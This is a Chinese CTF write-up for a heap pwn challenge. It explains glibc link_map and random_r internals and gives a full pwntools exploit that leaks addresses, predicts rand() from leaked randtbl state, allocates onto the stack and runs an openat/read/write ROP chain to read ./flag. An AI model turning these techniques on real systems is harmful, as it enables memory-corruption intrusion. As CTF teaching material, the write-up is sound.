struct link_map{/* These first few members are part of the protocol with the debugger. This is the same format used in SVR4. */ElfW(Addr) l_addr;          /* Difference between the address in the ELF file and the addresses in memory. */char *l_name;               /* Absolute file name object was found in. */ElfW(Dyn) *l_ld;            /* Dynamic section of the shared object. */struct link_map *l_next, *l_prev; /* Chain of loaded objects. */};

遍历link_map,对比l_name,找到目标之后,就可以通过l_addr获得那个库的基址,当然,前提是二进制文件需要有DT_DEBUG。
通过show,先泄露r_debug地址(ld地址), 遍历linkmap寻找后发现libc的link_map与泄露的ld地址有固定偏移,然后计算偏移,下次show即可泄露(感觉泄露libc地址直接输出got表就行)

随机数

  • struct random_data *buf: 包含随机数生成器状态的结构体。
  • int32_t *result: 指向存储生成的随机数的变量。

int
__random_r (struct random_data *buf, int32_t *result)
{int32_t *state;if (buf == NULL || result == NULL)goto fail;state = buf->state;if (buf->rand_type == TYPE_0){int32_t val = ((state[0] * 1103515245U) + 12345U) & 0x7fffffff;state[0] = val;*result = val;}else{int32_t *fptr = buf->fptr;int32_t *rptr = buf->rptr;int32_t *end_ptr = buf->end_ptr;uint32_t val;val = *fptr += (uint32_t) *rptr;/* Chucking least random bit.  */*result = val >> 1;++fptr;if (fptr >= end_ptr){fptr = state;++rptr;}else{++rptr;if (rptr >= end_ptr)rptr = state;}buf->fptr = fptr;buf->rptr = rptr;}return 0;fail:__set_errno (EINVAL);return -1;
}weak_alias (__random_r, random_r)#define	TYPE_3		3
#define	BREAK_3		128
#define	DEG_3		31
#define	SEP_3		3static struct random_data unsafe_state ={
/* FPTR and RPTR are two pointers into the state info, a front and a rearpointer.  These two pointers are always rand_sep places apart, as theycycle through the state information.  (Yes, this does mean we could getaway with just one pointer, but the code for random is more efficientthis way).  The pointers are left positioned as they would be from the call:initstate(1, randtbl, 128);(The position of the rear pointer, rptr, is really 0 (as explained abovein the initialization of randtbl) because the state table pointer is setto point to randtbl[1] (as explained below).)  */.fptr = &randtbl[SEP_3 + 1],.rptr = &randtbl[1],/* The following things are the pointer to the state information table,the type of the current generator, the degree of the current polynomialbeing used, and the separation between the two pointers.Note that for efficiency of random, we remember the first location ofthe state information, not the zeroth.  Hence it is valid to accessstate[-1], which is used to store the type of the R.N.G.Also, we remember the last location, since this is more efficient thanindexing every time to find the address of the last element to see ifthe front and rear pointers have wrapped.  */.state = &randtbl[1],.rand_type = TYPE_3,.rand_deg = DEG_3,.rand_sep = SEP_3,.end_ptr = &randtbl[sizeof (randtbl) / sizeof (randtbl[0])]
};

参考汇编和源码后大致逻辑如下

  1. rand_type默认为TYPE_3,故不是直接采用线性同余产生随机数
  2. 队头fptr 自加队尾值rptr ,将此值保存为结果,然后队头队尾统一后移一项,再将结果作为生成的随机数返回即可。(fptr刚开始为第4个,总共32个,所以需要调用rand很多次才可能进入fptr >= end_ptr,所以当前edit可以认为都是else情况)

调用一次rand后fptr 和rptr 都后移四
在这里插入图片描述
这里泄露fptr 和rptr 和fptr +0x10的内容(正好八个)

思路

  1. size是0x90,free一个,然后show可以泄露heap地址
  2. nouse输满\xff,然后show负越界泄露pie地址,进而能够得到heap_list的起始地址
    在这里插入图片描述
  3. 然后show正越界泄露r_debug地址(也可以直接泄露got内的libc地址),然后根据r_debug地址偏移得到libc的link_map地址所在的地址,再得到和pie上的heap_list的偏移来show泄露libc地址
  4. 然后根据libc地址得到&randtbl[1+3]所在的地址和&randtbl[1]的地址所在的地址(unsafe_state 中有即&unsafe_state 和&unsafe_state +8),然后show泄露randtbl的内容(fptr 和rptr 和fptr +0x10的内容,每个泄露四个 泄露environ栈地址同理)或者也可以用edit_name写libc地址和show负越界来泄露
  5. 然后根据rand函数和泄露的randtbl来绕过rand在这里插入图片描述
    然后每次rand后会将fptr当前值和rptr当前值相加给fptr,由于fptr的数组和rptr的数组都是一直往右走的,由于我们最后输入八个字节到heap的next区域,所以此时根据处理函数会进行循环两次,总共八次rand,fptr和rptr移动八次,fptr这里是够的,所以最后更新的相加的值加到rptr后面
    在这里插入图片描述
  6. 最后分配到将栈地址进行相关rand处理,然后分配到栈上去,注意选择栈地址要保证对齐,不断往小尝试,这里将分配到read函数的返回地址所在的栈的位置处
    . 在这里插入图片描述
    . 在这里插入图片描述
    这里直接利用read函数残留的寄存器再次调用read的系统调用,而且地址就是刚刚调用过的

在这里插入图片描述
然后再次调用read先填充之前的,直到当前的ret对应的返回地址才开始rop
在这里插入图片描述

exp

from pwn import *s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
rl      = lambda                    :io.recvline()
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)
lss     = lambda s                  :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))context.arch      = 'amd64'
context.log_level = 'debug'binary = './pwn'
libelf = ''if (binary!=''): elf  = ELF(binary) ; rop=ROP(binary);libc = elf.libc
if (libelf!=''): libc = ELF(libelf)gdbscript = '''
#continue
'''.format(**locals())io = process("./pwn")def add(idx):ru('>>>')s(p32(0x48260A))ru('idx:')s(p8(idx))def edit(idx,text):ru('>>>')s(p32(0x4E430A))ru('idx:')s(p8(idx))ru('input: ')s(text)def show(idx):ru('>>>')s(p32(0x54460A))ru('idx:')s(p64(idx)[:-1])ru('ciphertext: ')def rm(idx):ru('>>>')s(p32(0x7B7D0A))ru('idx:')s(p8(idx))def edit_name(name):ru('>>>')s(p32(0x50460A))ru('>>> ')s(p32(0x65646974))ru(': ')s(name)def show_name():ru('>>>')s(p32(0x50460A))ru('>>> ')s(p32(0x73686F77))def backdoor(text):ru('>>>')s(p32(0x62640A))s(text)def rdata():ru('=============================\n')data = bytes.fromhex(rl().decode().replace(' ',''))return dataadd(0)
add(1)
rm(0)
rm(1)show(0)
data = rdata()
key  = uu64(data[:8])
heap_addr = key << 0xClss('heap_addr')backdoor('\xff'*0x38)show((1<<64)-0x13)elf_base = uu64(rdata()[:8]) - 16392heap_list = elf_base + 0x40A0
lss('heap_list')show(1068)libc_ptr= uu64((rdata()[8:])) - 0x3c9b8-0x1c8-0x558lss('libc_ptr')# leak libc_base
offset = (libc_ptr - heap_list) // 8
show(offset)
libc_base  = uu64((rdata()[:8]))
lss('libc_base')print("libc",libc_base)ptr1 = libc_base + 2205792 #   &randtbl[1+3]
ptr2 = libc_base + 2205792 + 8 # &randtbl[1]
lss('ptr1')
lss('ptr2')
offset = (ptr1 - heap_list) // 8show(offset) # randtbl[1+3] 4 content
data1  = rdata()offset = (ptr2 - heap_list) // 8show(offset) # randtbl[1] 4 content
data2  = rdata()print("data1",data1)
print("data2",data2)environ = libc_base + libc.sym['environ']
offset = libc_base + 2204196 # unsafe_state
lss('environ')
lss('offset')
name = p64(offset) + p64(environ)[:-2]
edit_name(name)backdoor('\xff'*0x38)
show((1<<64)-0xC)
data3  = rdata()
print(data3) # randtbl[1+3+4] 4 contentbackdoor('\xff'*0x38)
show((1<<64)-0xb)
stack  = uu64(rdata()[:8]) - 8 # name+8lss('stack')edx = [ uu32(data1[_:_+4]) for _ in range(0,len(data1),4)]
ecx = [ uu32(data2[_:_+4]) for _ in range(0,len(data2),4)]tmp = [ uu32(data3[_:_+4]) for _ in range(0,len(data3),4)]
print(ecx)
print(edx)
print(tmp)edx += tmpunsafe_state = 0
def me_rand(): # 直接gdb 跟进 rand() 看看随机数是怎么生成的,global unsafe_statei = unsafe_stateprint(ecx)print(edx)ecx_ = ecx[i]edx_ = edx[i]eax = ecx_ + edx_eax = eax & 0xFFFFFFFFprint('add',eax)ecx.append(1)ecx[i+3] = eaxeax = eax >> 1eax = eax & 0xFFFFFFFFprint(hex(eax))unsafe_state += 1return eax
#队头自加队尾值,将此值保存为结果,然后队头队尾统一后移一项,再将结果作为生成的随机数返回即可。def encrypto(eax):v5 = me_rand() % 703710v6 = me_rand() ^ v5v2 = (v6 + me_rand() + v5) & 0xFFFFFFFFeax ^= v2 - me_rand()return eaxret_stack = ((stack-0x190)^ key)
low  = encrypto(ret_stack & 0xFFFFFFFF)
high = encrypto(ret_stack >> 32 ) << 32expdata = high + lowprint(expdata)gdb.attach(io)edit(1,p64(expdata))add(2)
add(3)pause()
rax = libc_base + 0x0000000000045eb0 # pop rax ; ret
rdx = libc_base + 0x000000000011f2e7 # pop rdx ; pop r12 ; ret
rdi = libc_base + 0x2a3e5 # pop rdi ; ret
rsi = libc_base + 0x02be51 # pop rsi ; ret
syscall = libc_base + libc.sym['read'] + 16 # syscallpay  =  b"a"*0x28
pay += p64(rax) + p64(0)    # 0x38
pay += p64(rdx) + p64(0x1000)*2 # 0x50
pay += p64(syscall)
edit(3,pay)# #define __NR_openat2 437flag_addr = stack-0x68pay  = b'b' * 0x58 #
pay += p64(rax) + p64(0x101) + p64(rdi) + p64(rax) + p64(0x101) + p64(rdi)+p64(0xffffffffffffff9c) + p64(rsi) + p64(flag_addr) + p64(rdx) + p64(0) * 2 + p64(syscall)
pay += p64(rdi) + p64(3) + p64(rsi) + p64(flag_addr) + p64(rdx) + p64(0x100) * 2 + p64(libc_base + libc.sym['read'])
pay += p64(rdi) + p64(1) + p64(rsi) + p64(flag_addr) + p64(rdx) + p64(0x100) * 2 + p64(libc_base + libc.sym['write'])
pay += b'./flag'.ljust(0x8,b'\x00')sl(pay)
io.interactive()

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/382049.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

语音识别 语音识别项目相关笔记内容

语音识别 语音识别项目相关笔记内容 语音识别应用范畴语音识别框架语音基本操作使用scipy.io.wavfile读取wav音频文件获取采样率、长度、通道数使用numpy读取pcm格式音频文件读取wav音频文件,并绘制图像读取双声道的wav音频文件,分别绘制不同声道的波形图读取一个采样率为16k…

【k8s故障处理篇】calico-kube-controllers状态为“ImagePullBackOff”解决办法

【k8s故障处理篇】calico-kube-controllers状态为“ImagePullBackOff”解决办法 一、环境介绍1.1 本次环境规划1.2 kubernetes简介1.3 kubernetes特点二、本次实践介绍2.1 本次实践介绍2.2 报错场景三、查看报错日志3.1 查看pod描述信息3.2 查看pod日志四、报错分析五、故障处理…

【Vue】深入了解 v-for 指令:从基础到高级应用的全面指南

文章目录 一、v-for 指令概述二、v-for 指令的基本用法1. 遍历数组2. 遍历对象3. 使用索引 三、v-for 指令的高级用法1. 组件列表渲染2. 使用 key 提升性能3. 嵌套循环 四、结合其他功能的高级用法1. 处理过滤和排序后的结果2. 迭代数值范围3. 结合其他命令使用模板部分 (<t…

基于vue3 + vite产生的 TypeError: Failed to fetch dynamically imported module

具体参考这篇衔接&#xff1a; Vue3报错&#xff1a;Failed to fetch dynamically imported module-CSDN博客 反正挺扯淡的&#xff0c;错误来源于基于ry-vue-plus来进行二次开发的时候遇到的问题。 错误起因 我创建了一个广告管理页面。然后发现访问一直在加载中。报的是这样…

Unity点击生成节点连线

Unity点击生成节点连线 效果 2.主要代码 Test_Line 控制类 using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.EventSystems;public class Test_Line : MonoBehaviour {public GameObject qiu_prefab;public List<Game…

h5点击电话号跳转手机拨号

需要使用到h5的 <a>标签 我们首先在<head>标签中添加代码 <meta name"format-detection" content"telephoneyes"/>然后再想要的位置添加代码 <a href"tel:10086"> 点击拨打&#xff1a;10086 </a> 这样功能就实现…

【Day1415】Bean管理、SpringBoot 原理、总结、Maven 高级

0 SpringBoot 配置优先级 从上到下 虽然 springboot 支持多种格式配置文件&#xff0c;但是在项目开发时&#xff0c;推荐统一使用一种格式的配置 &#xff08;yml是主流&#xff09; 1 Bean管理 1.1 从 IOC 容器中获取 Bean 1.2 Bean 作品域 可以通过注解 Scope("proto…

深入浅出WebRTC—ALR

ALR&#xff08;Application Limited Region&#xff09;指的是网络传输过程中&#xff0c;由于应用层的限制&#xff08;而非网络拥塞&#xff09;导致带宽未被充分利用的情况。在这种情况下&#xff0c;应用层可能因为处理能力、手动配置或其他因素无法充分利用可用带宽&…

Mybatis配置代码解读(事务管理与连接池)

目录 配置代码解读 事务管理方式 数据库连接池 测试代码解读 SqlSessionFactory SqlSession 接口的代理对象 ▐ 前言 在上一篇文章 手把手教你搭建Mybatis框架-CSDN博客 中分享了如何搭建Mybatis框架&#xff0c;但没有对一些配置文件和语法做出详细解读&#xff0c;刚…

免费【2024】springboot 必录德健身器材用品网的设计与实现

博主介绍&#xff1a;✌CSDN新星计划导师、Java领域优质创作者、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和学生毕业项目实战,高校老师/讲师/同行前辈交流✌ 技术范围&#xff1a;SpringBoot、Vue、SSM、HTML、Jsp、PHP、Nodejs、Python、爬虫、数据可视化…

maven私服上传jar包 400 Bad Request 错误

文章目录 前言一、直接看报错二、问题处理三 maven 私服配置说明总结 前言 maven仓库的私服,一般会存放公司或者个人封装的jar包,用来共享给二次开发和协作伙伴用,很方便 第一次发布没有问题,但是我第二次发布,开始报错了 一、直接看报错 401 无权限我这个是400 说明用户名密…

Sql Server缓冲池、连接池等基本知识(附Demo)

目录 前言1. 缓存池2. 连接池3. 彩蛋 前言 基本的知识推荐阅读&#xff1a; java框架 零基础从入门到精通的学习路线 附开源项目面经等&#xff08;超全&#xff09;Mysql优化高级篇&#xff08;全&#xff09;Mysql底层原理详细剖析常见面试题&#xff08;全&#xff09; 1…

昇思25天学习打卡营第14天|计算机视觉

昇思25天学习打卡营第14天 文章目录 昇思25天学习打卡营第14天FCN图像语义分割语义分割模型简介网络特点数据处理数据预处理数据加载训练集可视化 网络构建网络流程 训练准备导入VGG-16部分预训练权重损失函数自定义评价指标 Metrics 模型训练模型评估模型推理总结引用 打卡记录…

Atom - hackmyvm

简介 靶机名称&#xff1a;Atom 难度&#xff1a;简单 靶场地址&#xff1a;https://hackmyvm.eu/machines/machine.php?vmAtom 本地环境 虚拟机&#xff1a;vitual box 靶场IP&#xff08;Atom&#xff09;&#xff1a;192.168.56.101 跳板机IP(windows 11)&#xff1…

Linux之基础IO(上)

目录 库函数文件操作 写文件 读文件 系统调用文件操作 写文件 读文件 文件描述符fd 深刻理解linux下一切皆文件 重定向原理 在c语言中我们学习了fopen&#xff0c;fread&#xff0c;fwrite接口&#xff0c;用于进行文件相关的操作&#xff0c;在之前我们学习了计算…

科普文:银行信贷系统概叙

信贷业务流程 资金需求者提交申请&#xff1a;资金需求者通过不同渠道&#xff08;如APP、网站、门店等&#xff09;提交贷款申请。 系统交互完成审批&#xff1a;系统通过自动化和人工相结合的方式&#xff0c;对贷款申请进行初步筛选和审批。 系统交互完成策略判断&#xf…

AFAC2024-基于保险条款的问答 比赛日记 llamafactory qwen npu 910B1

AFAC2024: 基于保险条款的问答挑战——我的实战日记 概述 在最近的AFAC2024竞赛中&#xff0c;我参与了基于保险条款的问答赛道。这是一次深度学习与自然语言处理的实战演练&#xff0c;旨在提升模型在复杂保险文本理解与问答生成方面的能力。本文将分享我的参赛过程&#xf…

秒杀优化: 记录一次bug排查

现象 做一人一单的时候&#xff0c;为了提升性能&#xff0c;需要将原来的业务改造成Lua脚本加Stream流的方式实现异步秒杀。 代码改造完成&#xff0c;使用Jmeter进行并发测试&#xff0c;发现redis中的数据和预期相同&#xff0c;库存减1&#xff0c;该用户也成功添加了进去…

【Linux】Linux的基本使用

一.Linux的背景知识. 1.1什么是Linux Linux是一种开源的类Unix操作系统内核. 和Windows是" 并列 "的关系. 1.2Linux的发行版本. Linux 严格意义来说只是一个 “操作系统内核”.一个完整的操作系统 操作系统内核 配套的应用程序. 由于 Linux 是一个完全开源免费…

C++:格式化输入和输出、非格式化输入和输出(控制布尔值格式、整型值格式、浮点数格式;单字节操作put和get、多字节操作getline等)

1、格式化输入和输出 (1)What 标准库定义了一组操纵符&#xff08;本质是函数或对象&#xff09;来修改流的格式状态 当操作符改变流的格式状态时&#xff0c;通常改变后的状态对所有后续 IO 都生效 (2)Which A.控制布尔值的格式 bool bFlag true; std::cout<<std::b…